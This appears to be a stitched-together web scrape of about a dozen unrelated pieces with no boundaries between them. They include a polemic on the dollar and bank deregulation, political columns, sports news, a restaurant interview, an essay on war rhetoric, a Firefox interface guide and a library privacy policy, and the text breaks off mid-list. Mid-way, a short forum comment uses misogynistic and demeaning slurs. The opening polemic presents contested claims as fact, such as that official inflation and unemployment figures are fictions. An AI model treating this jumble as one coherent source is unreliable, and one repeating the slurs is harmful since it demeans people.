Deregulation permits financial institutions to sell naked shorts, which means to sell a company’s stock or gold and silver bullion that the seller does not possess into the market in order to drive down the price. http://www.rollingstone.com/politics/blogs/taibblog/accidentally-released-and-incredibly-embarrassing-documents-show-how-goldman-et-al-engaged-in-naked-short-selling-20120515
The informed reader can add more items to this list.
The dollar in its role as world reserve currency is the source of Washington’s power. It allows Washington to control the international payments system and to exclude from the financial system those countries that do not do Washington’s bidding. It allows Washington to print money with which to pay its bills and to purchase the cooperation of foreign governments or to fund opposition within those countries whose governments Washington is unable to purchase, such as Iran, Russia, and China. If the dollar was not the world reserve currency and actually reflected its true depreciated value from the mounting US debt and running of the printing press, Washington’s power would be dramatically curtailed.
The US dollar has come close to its demise several times recently. In 2011 the dollar’s value fell as low as 72 Swiss cents. Investors seeking safety for the value of their money flooded into Swiss francs, pushing the value of the franc so high that Switzerland’s exports began to suffer. The Swiss government responded to the inflow of dollars and euros seeking refuge in the franc by declaring that it would in the future print new francs to offset the inflows of foreign currency in order to prevent the rise in the value of the franc. In other words, currency flight from the US and Europe forced the Swiss to inflate in order to prevent the continuous rise in the exchange value of the Swiss currency.
Prior to the sovereign debt crisis in Europe, the dollar was also faced with a run-up in the value of the euro as foreign central banks and OPEC members shifted their reserves into euros from dollars. The euro was on its way to becoming an alternative reserve currency. However, Goldman Sachs, whose former employees dominate the US Treasury and financial regulatory agencies and also the European Central Bank and governments of Italy and, indirectly, Greece, helped the Greek government to disguise its true deficit, thus deceiving the private European banks who were purchasing the bonds of the Greek government. Once the European sovereign debt crisis was launched, Washington had an interest in keeping it going, as it sends holders of euros fleeing into “safe” dollars, thus boosting the exchange value of the dollar, despite the enormous rise in Washington’s own debt and the doubling of the US money supply.
Last year gold and silver were rapidly rising in price (measured in US dollars), with gold hitting $1,900 an ounce and on its way to $2,000 when suddenly short sales began dominating the bullion markets. The naked shorts of gold and silver bullion succeeded in driving the price of gold down $350 per ounce from its peak. Many informed observers believe that the reason Washington has not prosecuted the banksters for their known financial crimes is that the banksters serve as an auxiliary to Washington by protecting the value of the dollar by shorting bullion and rival currencies.
What happens if Greece exits the EU on its own or by the German boot? What happens if the other EU members reject German Chancellor Merkel’s austerity, as the new president of France promised to do? If Europe breaks apart, do more investors flee to the doomed US dollar?
Will a dollar bubble become the largest bubble in economic history?
When the dollar goes, interest rates will escalate, and bond prices will collapse. Everyone who sought safety in US Treasuries will be wiped out.
We should all be aware that such outcomes are not part of the public debate.
Recently Bill Moyers interviewed Simon Johnson, formerly chief economist of the International Monetary Fund and currently professor at MIT. It turns out that deregulation, which abolished the separation of investment banks from commercial banks, permitted Jamie Dimon’s JPMorganChase to gamble with federally insured deposits. http://www.informationclearinghouse.info/article31356.htm Despite this, Moyers reports that Republicans remain determined to kill the weak Dodd-Frank law and restore full deregulation.
Simon Johnson says: “I think it [deregulation] is a recipe for disaster.” The problem is, Johnson says, that correct economic policy is blocked by the enormous donations banks make to political campaigns. This means Wall Street’s attitudes and faulty risk models will result in an even bigger financial crisis than the one from which we are still suffering. And it will happen prior to recovery from the current crisis.
Johnson warns that the Republicans will distract everyone from the real crisis by concocting another “crisis” over the debt ceiling.
Johnson says that “a few people, particularly in and around the financial system, have become too powerful. They were allowed to take a lot of risk, and they did massive damage to the economy — more than eight million jobs lost. We’re still struggling to get back anywhere close to employment levels where we were before 2008. And they’ve done massive damage to the budget. This damage to the budget is long lasting; it undermines the budget when we need it to be stronger because the society is aging. We need to support Social Security and support Medicare on a fair basis. We need to restore and rebuild revenue, revenue that was absolutely devastated by the financial crisis. People need to understand the link between what the banks did and the budget. And too many people fail to do that.”
Consequently, Johnson says, the banksters continue to receive mega-benefits while imposing enormous social costs on society.
Few Americans and no Washington policymakers understand the dire situation. They are too busy hyping a non-existent recovery and the next war. Statistician John Williams reports that when correctly measured as a cost of living indicator, which the CPI no longer is, the current inflation rate in the US is 5 to 7 percentage points higher than the officially reported rate, as every consumer knows. The unemployment rate falls because, and only because, people unable to find jobs drop out of the labor force and are no longer counted as unemployed. Every informed person knows that the official inflation and unemployment rates are fictions; yet, the presstitute media continue to report the rates with a straight face as fact.
The way the government has rigged the measure of unemployment, it is possible for the US to have a zero rate of unemployment and not a single person employed or in the work force.
The way the government has the measure of inflation rigged, it is possible for your living standing to fall while the government reports that you are better off.
Financial deregulation raises the returns from speculative schemes above the returns from productive activity. The highly leveraged debt and derivatives that gave us the financial crisis have nothing to do with financing businesses. The banks are not only risking their customers’ deposits on gambling bets but also jeopardizing the country’s financial stability and economic future.
With an eye on the approaching dollar crisis, which will wreck the international financial system, the presidents of China, Russia, Brazil, South Africa, and the prime minister of India met last month to discuss forming a new bank that would shield their economies and commerce from mistakes made by Washington and the European Union. The five countries, known as the BRICS, intend to settle their trade with one another in their own currencies and cease relying on the dollar. The fact that Russia, the two Asian giants, and the largest economies in Africa and South America are leaving the dollar’s orbit sends a powerful message of lack of confidence in Washington’s handling of financial matters.
It is ironic that the outcome of financial deregulation in the US is the opposite of what its free market advocates promised. In place of highly competitive financial firms that live or die by their wits alone without government intervention, we have unprecedented financial concentration. Massive banks, “too big to fail,” now send their multi-trillion dollar losses to Washington to be paid by heavily indebted US taxpayers whose real incomes have not risen in 20 years. The banksters take home fortunes in annual bonuses for their success in socializing the “free market” banks’ losses and privatizing profits to the point of not even paying income taxes.
In the US free market economists unleashed avarice and permitted it to run amuck. Will the disastrous consequences discredit capitalism to the extent that the Soviet collapse discredited socialism?
Will Western civilization itself survive the financial tsunami that deregulated Wall Street has produced?
White House chief strategist Stephen K. Bannon, left, and White House Chief of Staff Reince Priebus at the Gaylord National Resort & Convention Center in National Harbor, Md., on Feb. 23. (Jim Lo Scalzo/European Pressphoto Agency)
The Post reports: “The president has a congenital inability to take personal responsibility for his own mistakes. Throughout his career, he’s sought out scapegoats whenever situations get hairy. He’s doing it again amidst the continuing fallout from his decision to fire James Comey as FBI director.”
Because every error is someone else’s fault, President Trump — who went through three campaign leaders — is reportedly thinking about a major shake-up — or at least threatening a shake-up in his already shell-shocked White House. Everyone from Stephen K. Bannon to Sean Spicer seems to be in danger of losing his job. Only Ivanka Trump and Jared Kushner — who reportedly didn’t discourage the firing of Comey and thereby proved once again how incompetent they are — are safe. (Their complicity in the Comey firing and Kushner’s shared anger at staff underscore that they are enablers, fueling Trump’s worst instincts, not voices of reason that can restrain him.)
Bannon was apparently close to getting the ax or quitting once before, at the time of the flap over his removal from the National Security Council attendee list, but he is still there. We cannot rule out the possibility that Trump is just lashing out and has no real intention of a mass firing, which would be read as acknowledgement that he failed to hire “the best people.”
After President Trump suggested that he taped his conversations with former FBI director James B. Comey, lawmakers of both political parties on May 14 said Trump ought to release any recordings that may exist. (Bastien Inzaurralde/The Washington Post)
Trump supporters cheering a possible shake-up should consider a number of factors:
First, when they are fired, aides have more incentive to rat out their former colleagues and boss. In this case they may find themselves under subpoena to testify under oath. (Given how readily Trump has waived executive privilege by talking about internal conversations, his ability to prevent such testimony is far more limited than he may think.)
Second, after everyone has watched the clown show and seen how readily Trump undercuts his aides, he is not likely to get the cream of the crop. Rather than a career-making move, going to work for Trump nearly guarantees one will appear dishonest and gullible. With each round of replacements the quality likely diminishes. Loyalty — toadyism, actually — is such an overarching requirement in this White House that new staff is unlikely to bring new ideas and/or help guide the president away from his own worst instincts.
Third, potential advisers may be afraid to join the administration for fear of implicating themselves in wrongdoing. If the president is engaged in obstruction of justice, partially through his lies to the public, then aides who knowingly lie are implicated as well. At the very least, close aides may need to lawyer up before they enter the White House. Harvard Law School professor and constitutional law expert Laurence H. Tribe warned, “Unlike POTUS, they’re all subject to federal prosecution, indictment, trial, criminal conviction and ordinary sentencing for conspiring with, aiding and abetting, or helping cover up federal crimes.”
Knowing exactly what lines they cannot cross would be essential for anyone joining an administration already enveloped in scandal. At some point any of them may be accused of lying to the public in support of a coverup, misleading investigators, lying under oath or even failing to testify completely to Congress. One experienced lawyer cautioned, “Almost anything can be an obstruction if it was committed with the specific intent of frustrating an investigation.” Is a job in a failing presidency worth all that?
Finally and most critically, Trump’s problems have little to do with staff whom he bullies, intimidates and keeps out of the loop. “The system may be failing, but it is Trump who is picking which buttons to press,” The Post reported. “The president takes pride in being the ultimate decision-maker, for matters large and small. And chaos has been a hallmark of Trump’s enterprises, from his family real estate empire to his presidential campaign, a 16-month venture during which he cycled through three leadership teams.”
Thousands upon thousands of men are going their own way, making it easier for the blue pill manginas left with women and they still can’t get laid.
That pussy beggar still has to suck up to women with all their invented concepts of patriarchy and oppression to try and get laid. The guy deserves nothing more than pity and p~~~ taking out of him if he has to stoop that low for female attention
He could form a lonely hearts club with David Futrelle and Regie Yates
Hi David
Hi Regie
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Starting left tackle George Fant's season is over after he tore his ACL on Friday night in a 20-13 victory against the Vikings, a source informed of the situation told NFL Network Insider Ian Rapoport. Seahawks coach Pete Carroll said after the game he was "heartbroken" about the injury and that Fant has to have surgery.
Fant's right leg rolled up in the second quarter, and his leg was in an air cast as he was carted off the field to the locker room. Guard Rees Odhiambo took over the left tackle duties afterward.
As an undrafted rookie last season, Fant started 10 games at left tackle. The team's staff was exhilarated about the former Western Kentucky college basketball player's upcoming sophomore campaign, with Fant putting on more than 20 pounds during the offseason.
Odhiambo, a 2016 third-round pick, demonstrated he is an option to take over at left tackle last night. Free-agent acquisition Luke Joeckel also is another candidate. The former Jaguars No. 2 overall pick has plenty of experience at the position. Joeckel, however, was slated to start at left guard this season before Fant went down.
The Seahawks could even dip their toes into the free-agent pool to find a solution, as recently unretired veteran Branden Albert is still searching for a new squad.
Seattle has made due with a patchwork offensive line before in previous regular seasons, but it has also led to stagnant periods among the entire offense. Now, the team has a couple weeks to figure out who will protect Russell Wilson's blindside before the regular season kicks off.
Here are the other injuries we're monitoring on Saturday:
1. Panthers coach Ron Rivera told reporters after Carolina's loss to the Titans that the team is going to "increase" Cam Newton's throws in practice this week and that the quarterback is still on track in his rehab from offseason shoulder surgery, as NFL Network's Tiffany Blackmon reported earlier Saturday. The Panthers' third preseason game will take place Thursday, Aug. 24 in Jacksonville.
Wide receiver Brenton Bersin did not return to the game in Nashville after suffering a shoulder injury.
2. The Titans remain a few starters short on offense. Running back DeMarco Murray (hamstring) and rookie wide receiver Corey Davis (hamstring) both did not partake in Saturday's win over the Panthers. Tennessee coach Mike Mularkey told reporters after the game that it was an "executive decision" to hold the veteran Murray out and added that he doesn't anticipate Davis playing next week either.
Titans fullback Jalston Fowler suffered a minor quad bruise in Saturday' victory.
3. Dolphins wide receiver Isaiah Ford was placed on injured reserve after undergoing surgery to repair meniscus damage in his knee in early August.
4. Bengals starting safety Shawn Williams was carted off the field after suffering a right elbow injury in the first half against the Kansas City Chiefs. He did not return to the game.
Table & Main Chef Ted Lahey and Owner Ryan Pernice. Photo by Brittany Wages.
In August 2011, restaurateur Ryan Pernice and Chef Ted Lahey teamed up to open Table & Main, a southern tavern in historic Roswell. Pernice, only 25 at the time, had most recently helped open Maialino, an acclaimed Roman-style restaurant in New York City, but had worked in Roswell kitchens since age 13. Lahey, who was named Eater Atlanta's hottest chef last year, had also worked in Manhattan, at Fiamma Osteria, but more recently made a name for himself at Georgia's Five & Ten, South City Kitchen, Relish and Pricci. The pair wanted to open a neighborhood spot where local ingredients pair with wines and bourbons for a thoroughly comforting evening.
What made you decide to open Table & Main?
RP: I worked at Roasted Garlic (part of the Sugo restaurant family) when I was 13 and ever since then I’ve been attracted to the energy of a restaurant. It’s militant, like being in a cockpit; restaurateurs have to know how to do everything. Back then we would listen to The Band, Bob Dylan’s backup band and the song “The Weight” in particular. It’s about a place a guy could come and really hang out. I wanted a restaurant like that. (We now have a photo of X in the bar.) As for Southern food? I came across Ted and he had the same idea as me—an upscale tavern with a community feel—and he was really good at making Southern food.
TL: Ryan made the decision, I made the choice to go along, because I felt that there was a need for this type of concept in Roswell. I’ve had the thought before, but Ryan delivered the opportunity.
How did opening go?
RP: It actually went pretty smooth, or at least not so crazy. We opening last August with six servers and my parents on standby in case we needed them. We didn’t open the patio right away and limited indoor seating to 58 (from the 72 we have today).
TL: The construction process was fun for me. I loved being able to custom build the kitchen in a way that I knew would work. Actually opening was a ton of fun! There was a lot of buzz building up to the opening, in part because of our location. As people passed by the construction, there were a lot of questions as to what it would become. It was fun for the community to see it come together.
What is the creative process like between the two of you?
RP: There are things I’m good at and being a chef is not one of them. It would’ve been foolish for me to try to tell Ted what to cook. He has full reign over the menu, as long as it fits in with our concept. We keep each other involved (in our sides of the business) out of courtesy. We have enough trust in each other that we can do it that way.
TL: Sometimes Ryan has a general idea, but he’ll leave the specifics to me. There is a lot of respect for the experience that each of us brings to the table.
What was the review process? Were you pleased with the response?
RP: It was too quick, but every restaurateur will tell you that. This restaurant is the size of a shoebox. I can see everyone who comes in. When John Kessler came, he sat at table 207. I can tell you exactly what he had, but I didn’t want to be [hovering] around his table. I trust the people who work here. We still have 92 percent of the same team we started with, and it shows. Kessler called Table & Main an “instant neighborhood classic” and our team earned that quote, and me trusting them helped them to earn that praise. I will have that opening as my first for the rest of my life.
TL: I have been pleased with the reviews we’ve gotten in the press. It seems like some of the major points that Ryan and I wanted to convey have been noted. As for the process, I intend to serve delicious food to every guest, so nothing really changes for the critics.
Do you feel like the majority of critics understand the intent behind Table & Main?
RP: Kessler awarded us two stars, but he said we have a great vibe—he was right on point with his commentary. There were things we needed to work on and we learned from it.
How's business these days?
RP: We’ve been very blessed to have Roswell embrace us so. I always think about Churchill’s quote, “I find the harder I work, the luckier I get,” and how it applies here.
In the last year, Historic Roswell has really made a name for itself in the culinary world. How has this affected Table & Main’s business?
RP: We’ve benefited greatly. I remember when Roswell was mostly antique shops. It helps that I went to high school here since this is really a neighborhood spot. People have a strong attachment to us and we have to work to preserve that.
TD: We’ve been blessed to have built a steady following, and the growth seems to still be happening.
Looking back over the past year, what would you do differently?
RP: I wasn’t the world’s most experienced manager. I want everyone to be happy here and I can’t help but look back on an experience where a staff member didn’t work out and wish I could take back what happened. I beat myself up a lot. Also, I would have asked for more storage space. We’ve gotten very good at ordering exactly what we need and nothing more.
TD: I really can’t think of anything!
How is this restaurant different from any other you've been a part of?
RP: I’ve never worked anywhere with as loyal a staff. This team just gelled well. No one leaves. We also have a bigger group of regulars than any other restaurant I’ve worked at. I attribute this in part to the story people leave with. We have one regular who wanted espresso, and we don’t sell it here. So, I drove to Starbucks and bought her one and served it with her dessert. Another time she said the only thing that could make her meal better was some McDonald’s fries. So we got them for her!
TD: Well, for me it’s different because I am a partner, and this is our first venture. It’s great to have a venue where our experience in the business can help shape the outcome.
Aside from Osteria Mattone (opening in 2013), do you have any other projects in the works?
RP: Whoa! No. I’m still in shock that we’re doing a second restaurant [Osteria Mattone], but everything just fell into place. It’s a new challenge for me. I’ve been working at restaurants my whole life, but building a restaurant organization is something I haven’t done yet.
If the first casualty of war is truth, the second might be language.
What makes expressions such as “active shooter” and “campus lockdown” so disturbing is not just the regularity with which they are now uttered and written, but the huge disconnect between their militaristic tone and the contexts of their use. These are phrases you would expect to hear in a war zone, not on university campuses dedicated to the enlightenment of our young people. There is a particular, macabre horror in places of learning being converted into battlefields, and that horror is only intensified when the words used to describe it are so brazenly militaristic. The term “active shooter”, in particular, is both striking and absurd. If there are “active shooters” are there also “inactive shooters”? Are we all potentially “active shooters” in the making?
But, such is the nature of a culture of violence. And if the first casualty of war is truth, the second might be language.
We are surrounded by phrases devised to convert the grotesque and unpalatable into the everyday and banal. When the US recently bombed a hospital in Afghanistan, the scores of dead innocent civilians were not described as such; instead, they were “collateral damage.” When young men and women are killed by allies on the battlefield, it isn’t negligence, it is death by “friendly fire.” When suspected terrorists were hunted down by the CIA and flown to secret locations in countries with more flexible attitudes towards human rights, it wasn’t state-sanctioned kidnapping, it was “extraordinary rendition.” And, when we waterboarded suspects – in violation of our own Constitution as well as international law – it wasn’t torture, it was “enhanced interrogation.”
At the same time the military favors banality, our political language is becoming more militaristic. Residents of the US have been engaged in numerous wars over the years: the War on Drugs, the War on Crime and the War on Terror (to take but three examples). Because these terms are sexy and emotive, the media were more than willing to latch on to them. The problem, of course, is that they say little or nothing about who the wars were against, what they would cost, how long they would last, what tools we would use to fight and to what extent our rights would be curtailed during the conflicts. These titles also served another important function: forced compliance. War is a black-and-white thing. It is Good versus Evil. You are against the War on Drugs? Then you support drug dealers. You are critical of the War on Terror? Then you side with radical, anti-democratic extremists. Even our policies had titles that made them impossible to oppose. You are against the Patriot Act? Well, you know what that means.
When journalists uncritically parrot all of these terms as if they are neutral and unproblematic, then they participate in the mainstreaming of an ultimately destructive worldview. While it is simple to dismiss words as just that – words – we should recall how language was weaponized in the hours and days after September 11, 2001. The groundwork for war was as much rhetorical as it was military.
What we have witnessed over the past decade in the US is a perverse switch: Everyday life is now saturated with the aggressive language of warfare, while the lords of war have absorbed the language of the everyday in an attempt to manage and sanitize our image. As the US struggles to come to terms with an epidemic of mass shootings, one place to begin is the rejection of any language that resigns us to accepting the inevitability and normalcy of violence; and, in addition, any language that, in a cynical, Orwellian fashion, airbrushes the victims of aggression from our national history.
(updated below - Update II)
Responding to the neocon objections to my post on the universality of war-justifying propaganda, Kevin Drum writes that it's "time to repeal Godwin's Law" -- at least the distorted version which purports to prohibit all comparisons to German crimes -- labeling it an "an endlessly tiresome way of feigning moral indignation." Kevin adds: "WWII analogies are extremely useful because they're familiar to almost everyone." I agree: the very notion that a major 20th Century event like German aggression is off-limits in political discussions is both arbitrary and anti-intellectual in the extreme. There simply are instances where such comparisons uniquely illuminate important truths: recall, for example, Andrew Sullivan's consequential discovery of the stark similarities between the Bush/Cheney and Gestapo "enhanced interrogation" documents, both in terms of approved tactics and "justifications." To demand that German crimes be treated as sacred and unmentionable is to deprive our discourse of critical truths.
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But this prohibition is even more odious than that. A primary point of the Nuremberg Trials was to seize on the extraordinary horror of what the Germans did in order to set forth general principles to be applied not only to the individual war criminals before the tribunal, but more important, to all countries in the future. As lead prosecutor Robert Jackson explained in his Opening Statement:
What makes this inquest significant is that these prisoners represent sinister influences that will lurk in the world long after their bodies have returned to dust. . . . . And let me make clear that while this law is first applied against German aggressors, the law includes, and if it is to serve a useful purpose it must condemn aggression by any other nations, including those which sit here now in judgment.
There are, of course, distinctive aspects that made German crimes so appalling (from gas chambers to systematic human experimentation), but Jackson repeatedly emphasized that it was one particular common crime -- aggressive war -- that was at the heart of what Nuremberg was meant to prevent. From Jackson's Summation to the tribunal:
The central crime in this pattern of crimes, the kingpin which holds them all together, is the plot for aggressive wars. The chief reason for international cognizance of these crimes lies in this fact.
And in his Opening Statement, Jackson announced the core purpose of the Trials: "this inquest represents the practical effort of four of the most mighty of nations, with the support of 17 more, to utilize international law to meet the greatest menace of our times: aggressive war." "Aggressive war" wasn't just some vague rhetorical slogan. To the contrary, Jackson explained that "the issue is one of no novelty and is one on which legal opinion has well crystalized," and then defined it with great specificity:
[A]n "aggressor" is generally held to be that state which is the first to commit any of the following actions: (1) Declaration of war upon another state; (2) Invasion by its armed forces, with or without a declaration of war, of the territory of another state; (3) Attack by its land, naval, or air forces, with or without a declaration of war, on the territory, vessels or aircraft of another state; and (4) Provision of support to armed bands formed in the territory of another state, or refusal, notwithstanding the request of the invaded state, to take in its own territory, all the measures in its power to deprive those bands of all assistance or protection. And I further suggest that it is the general view that no political military, economic, or other considerations shall serve as an excuse or justification for such actions; but exercise of the right of legitimate self-defense, that is to say, resistance to an act of aggression, or action to assist a state which has been subjected to aggression, shall not constitute a war of aggression.
In light of those crystal clear Nuremberg prohibitions on "aggressive war," it's easy to understand why neocons want to make any mention of all this off-limits, or why they screech like wounded hyenas every time one cites these precedents to condemn the wars they advocate and the justifications they proffer. It's not hyperbole to say that "Godwin's Law" -- at least as neocon ideologues have come to distort it -- negates the central purpose of what was done at Nuremberg. We were supposed to learn from and apply those principles to ourselves, not adopt a Code of Silence with regard to them.
Obviously, one should avoid sloppy, casual or unwarranted applications of these principles, but that's true for all arguments. Even more obviously, to point out that a country or a person is violating these principles -- or that they are invoking the same rejected justifications for their aggression as Germans invoked -- is not to posit an equivalence to Hitler and Nazis. Only a child -- or what international law professor Kevin Jon Heller this morning aptly called deliberate distorters -- would fail to recognize that. There were unique aspects to Nazi evil and many common ones as well. It was anticipated that many of those crimes would be committed again (their "sinister influences [] will lurk in the world long after their bodies have returned to dust") and the body of law and principles which arose from German crimes and consecrated at Nuremberg were meant to be invoked and applied by future generations (these principles "must condemn aggression by any other nations, including those which sit here now in judgment").
Those most eager to violate these principles understandably want to render these discussions taboo, but that's no reason for the rest of us to acquiesce. Actually, it's a compelling reason to emphatically refuse.
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UPDATE : For a bit more context about why war cheerleaders are so eager to demonize efforts to generalize lessons from Nuremberg, see this passage from Nuremberg Diary by G.M. Gilbert, the American prison psychologist at Nuremberg who wrote the following as part of his account of an interview he did (one of many) with Hermann Goering on April 18, 1946, in Goering's cell (pp. 278-79):
We got around to the subject of war again and I said that, contrary to his attitude, I did not think that the common people are very thankful for leaders who bring them war and destruction. "Why, of course, the people don’t want war," Goering shrugged. "Why would some poor slob on a farm want to risk his life in a war when the best that he can get out of it is to come back to his farm in one piece. Naturally, the common people don’t want war; neither in Russia nor in England nor in America, nor for that matter in Germany. That is understood. But, after all, it is the leaders of the country who determine the policy and it is always a simple matter to drag the people along, whether it is a democracy or a fascist dictatorship or a Parliament or a Communist dictatorship." "There is one difference," I pointed out. "In a democracy the people have some say in the matter through their elected representatives, and in the United States only Congress can declare war." "Oh, that is all well and good, but, voice or no voice, the people can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked and denounce the pacifists for lack of patriotism and exposing the country to danger. It works the same in any country."
Anyone demanding that comparisons not be made between our own political culture and that is doing nothing less than attempting to conceal the truth of how things work. For more on why neocons in particular are so eager to enforce this taboo, see these two comments: here and here.
Updated
An airman caught in an explosion during the Talisman Sabre military exercise in central Queensland has died of his injuries.
RAAF Sergeant Michael Dunn suffered third-degree burns to his upper body when the portable toilet he was inside at Rockhampton airport exploded on July 25.
Defence says he died in hospital this morning.
Chief of Air Force Air Marshal Geoff Brown says the RAAF's thoughts are with Sergeant Dunn's family and colleagues.
"Sergeant Dunn was highly respected and well-liked by his colleagues," he said in a statement.
"Those who visited Mick since the accident were all affected by the courage and determination that he showed during his treatment and are extremely saddened by his passing.
"Our thoughts are with the family, friends and colleagues of Sergeant Dunn.
"Sergeant Dunn served 27 years in the RAAF. Most recently he was serving at RAAF Base Tindal where he and his family were long-standing members of the Katherine community."
Defence says a thorough investigation into the incident is continuing and further details may become available once the investigation is complete.
Topics: army, defence-forces, defence-and-national-security, rockhampton-4700, qld, australia
So what are those changes?
If you are running Firefox Beta, Aurora or Nightly, you have already been switched to Firefox Nightly. The same will happen to stable users next Tuesday, the 29th of April.
Firefox Australis simplifies the main interface of the Firefox web browser. Not only that, but it is also optimizing the browser for touch-input, for instance by displaying large icons in the new menu. While that may appeal to some, Mozilla decided to remove options from the browser such as the ability to display small buttons.
Once you have upgraded your browser and restarted it, you will notice quite a few changes right in the main interface. The most obvious ones are the following:
The Firefox button is gone. It has been replaced with what web designers call a Hamburger button (displaying three horizontal bars). The position of the button has changed as well, it is now in the same location where Google Chrome displays it.
Tabs in the browser use a curved design now and are displayed by default on top of the other toolbars.
If you have used the add-on bar, you will notice that it is gone now. The add-on bar was displayed in the footer area of the browser.
All extension icons are now displayed in the main Firefox toolbar along with the address bar and search form.
Once you start to use the new Firefox version, you will stumble upon additional changes.
The bookmarks icon is not displayed in the address bar anymore and it is linked to the bookmarks listing, the home button was moved to that toolbar as well, and here you also find the download button.
Once you click on the Hamburger button, you will notice that the menu is totally different from the menu the Firefox button offered.
While you find some items here that were also displayed in the Firefox button menu, you won't find others. You may also notice that the menu takes up quite some space, and the core reason for that is that it displays large icons for most options displayed here.
One improvement here is that you can customize the menu to your liking. When you click on Customize in the menu, Firefox will switch to an edit the interface mode.
You can now drag and drop interface elements around -- most but not all (the address bar is not for example) are movable.
So what is displayed in the new menu by default?
Cut, Copy and Paste operations. Zoom out, default zoom and zoom in. New window and new private window. Save Page and print. History. Full Screen. Find. Options. Add-ons. Developer.
There are also sign in to Sync, customize, the help button, and an exit Firefox button but those cannot be altered in any way.
The core change functionality-wise to the Firefox button menu is that you do not have access to sub-links anymore. The old menu displayed direct links to web developer tools which the new does not anymore.
There are six additional tools and features that you can drag and drop to one of the toolbars or Firefox's new Hamburger button:
Open File. Subscribe. Character Encoding. Email Link. Sync. Tab Groups.
Several features native to Firefox 28 and earlier are missing such as the ability to select small buttons, to display text only buttons, or the ability to display tabs on bottom.
Making Firefox 29 look like the old Firefox
Firefox would not be Firefox anymore if it would not allow you to customize the browser to your liking. With Australis, you have to rely on add-on authors to bring back functionality to it.
Good news is that you can modify the browser to your liking or restore the interface so that it looks similar to the one you used to work with. Bad news is that you have to rely on third-party authors to do so.
While you have quite a few options in this regard currently, it is possible that authors may stop development in the future so that their extensions cannot be used anymore in newer versions of the browser. Plus, with new changes introduced you need to wait for these authors to update their extensions so that it remains functional.
Classic Theme Restorer
Classic Theme Restorer is without doubt the major add-on for Firefox to change its look and feel to pre-Australis. Once you install it, you will notice quite a few changes right away.
The Firefox button is displayed again in the interface instead of the Hamburger button, and it behaves exactly like the button that was implemented in Firefox 28 and earlier. Tabs are displayed squared again as well right away, and the add-on has been restored at the bottom of the browser window.
To restore some features, you need to go through the options the extension makes available. Since there are quite a few, I'll concentrate on the most important ones only:
You can modify tab behavior and design further. The add-on ships with several tab designs that you can check out -- squared and curved in several iterations -- the option to display tabs on bottom again, and to configure min and max widths for tabs. Here you can also move tabs from the titlebar to their own toolbar instead. Small buttons on navigation toolbar. This feature reduces the height of the main toolbar which saves quite a bit of space. Movable back and forward button. You can now drag and drop the back and forward button to another location again. Star button in urlbar displays the bookmarks star button in the url bar. Display small or large icon sizes in the Firefox navigational toolbar. Show icons only, icons and text, or text only for buttons.
Firefox can look like this after you have installed Classic Theme Restorer and made a couple of modifications in the interface.
Here are the changes that I made to the Classic Theme Restorer settings to achieve that:
Enabled "Small buttons on navigational toolbar". Used customize to move the add-on icons to the status bar, and the home, download and bookmarks icon to the main toolbar again.
While it may not be 100% identical, it comes very close to how Firefox looked previously.
Other Australis related extensions for Firefox
Most add-ons listed below concentrate on the restoration of one or a couple of features only. They may be the better choice if you only want to modify these individual items as Classic Theme Restorer may be overkill in this case.
Summary Article Name Make the new Firefox 29 look like the old Description With the update to Firefox 29 comes Australis, a design and interface modification. This guide provides you with information about Australis, and tools to restore functionality that may not be available anymore. Author Martin Brinkmann
Formally adopt a policy that specifically recognizes its circulation records and other records identifying the names of library users to be confidential. (See also ALA Code of Ethics, Article III, "We protect each library user's right to privacy and confidentiality with respect to information sought or received, and resources consulted, borrowed, acquired or transmitted" and Privacy: An Interpretation of the Library Bill of Rights.) Advise all librarians and library employees that such records shall not be made available to any agency of state, federal, or local government except pursuant to such process, order or subpoena as may be authorized under the authority of, and pursuant to, federal, state, or local law relating to civil, criminal, or administrative discovery procedures or legislative investigative power. Resist the issuance of enforcement of any such process, order, or subpoena until such time as a proper showing of good cause has been made in a court of competent jurisdiction. 1
1Note: Point 3, above, means that upon receipt of such process, order, or subpoena, the library's officers will consult with their legal counsel to determine if such process, order, or subpoena is in proper form and if there is a showing of good cause for its issuance; if the process, order, or subpoena is not in proper form or if good cause has not been shown, they will insist that such defects be cured.
Adopted January 20, 1971, by the ALA Council; amended July 4, 1975; July 2, 1986.
If that happens, one of those programs might then be in a position to bring back Chip Kelly to the level on which he excelled.
The San Francisco 49ers fired Kelly on Sunday evening. He went 2-14 in his first and only season with the Niners. He was previously 26-21 in three seasons with the Philadelphia Eagles, where he was fired a year ago.
By contrast, Kelly went 46-7 in four seasons as Oregon’s head coach, taking the Ducks to one national title game and paving the way for another appearance.
The 53-year-old Kelly has publicly said that he does not have great interest in returning to college football, but a source told us that he has indicated otherwise in the past year to friends.
So which program makes the most sense for Kelly if one is suddenly in need of a coach?
1. UCLA
Industry sources have told us that Jim Mora is the likeliest of the college coaches to make a jump to the pro level. In Mora’s case, it would be a return. Mora went 31-33 in four seasons in the NFL, where he last coached Seattle in 2009. He’s 41-24 at UCLA, where injuries — including one to star QB Josh Rosen — primarily led to a 4-8 2016 season.
If it opened, coaches and agents agree that UCLA feels like the absolute best fit for Kelly’s return. It’s the league he knows best and a city and state in which he has recruited for years. Kelly would immediately cast a bigger spotlight than the more understated Clay Helton at USC — and it’s not often that UCLA can steal away football attention from its crosstown rival.
There’s an alternate route for Kelly to Westwood, as well: Mora enters 2017 on the hot seat. Some sources, however, wonder if the school, known for being fiscally tight, would pay both Mora’s buyout and whatever Kelly commanded. This could be the unique candidate to make an exception.
2. NOTRE DAME
As with Mora, some wonder what the NFL market is for a college coach coming off a 4-8 season. It’s a crossroads point for Brian Kelly at Notre Dame, regardless: Kelly has replaced both coordinators in this offseason, and support is waning after a tumultuous calendar year.
But let's say an NFL team warmed to him. The biggest question, some sources pointed out, is whether Chip Kelly would be interested in having a strict academic standard to which you’re forced to follow. Perhaps the “Notre Dame brand” is enough to offset those concerns. It still remains a highly visible and coveted job, and it stands to reason that Notre Dame’s administration would strongly consider a Kelly swap. As with Mora and his hefty buyout, not having to eventually make a decision regarding Brian Kelly would be a relief for the school.
3. TEXAS A&M
Kevin Sumlin continues to bump into an eight-win ceiling at A&M, which has pushed him toward the hot seat. But he has reportedly been sought after by multiple NFL franchises in past years.
It could provide a nice parachute for both sides in College Station — and it would open the door for Kelly to take over a capable program with fantastic resources and a fertile recruiting base.
How would he fare in Texas and in the SEC? And would he want to? Those are all fair questions.
“He doesn’t strike me as an SEC guy, or someone who wants to deal with the things you deal with there,” one industry source told us, adding that Kelly bristled at booster politics at Oregon. “Would he really want to step into that (at Texas A&M or an SEC school)?”
4. STANFORD
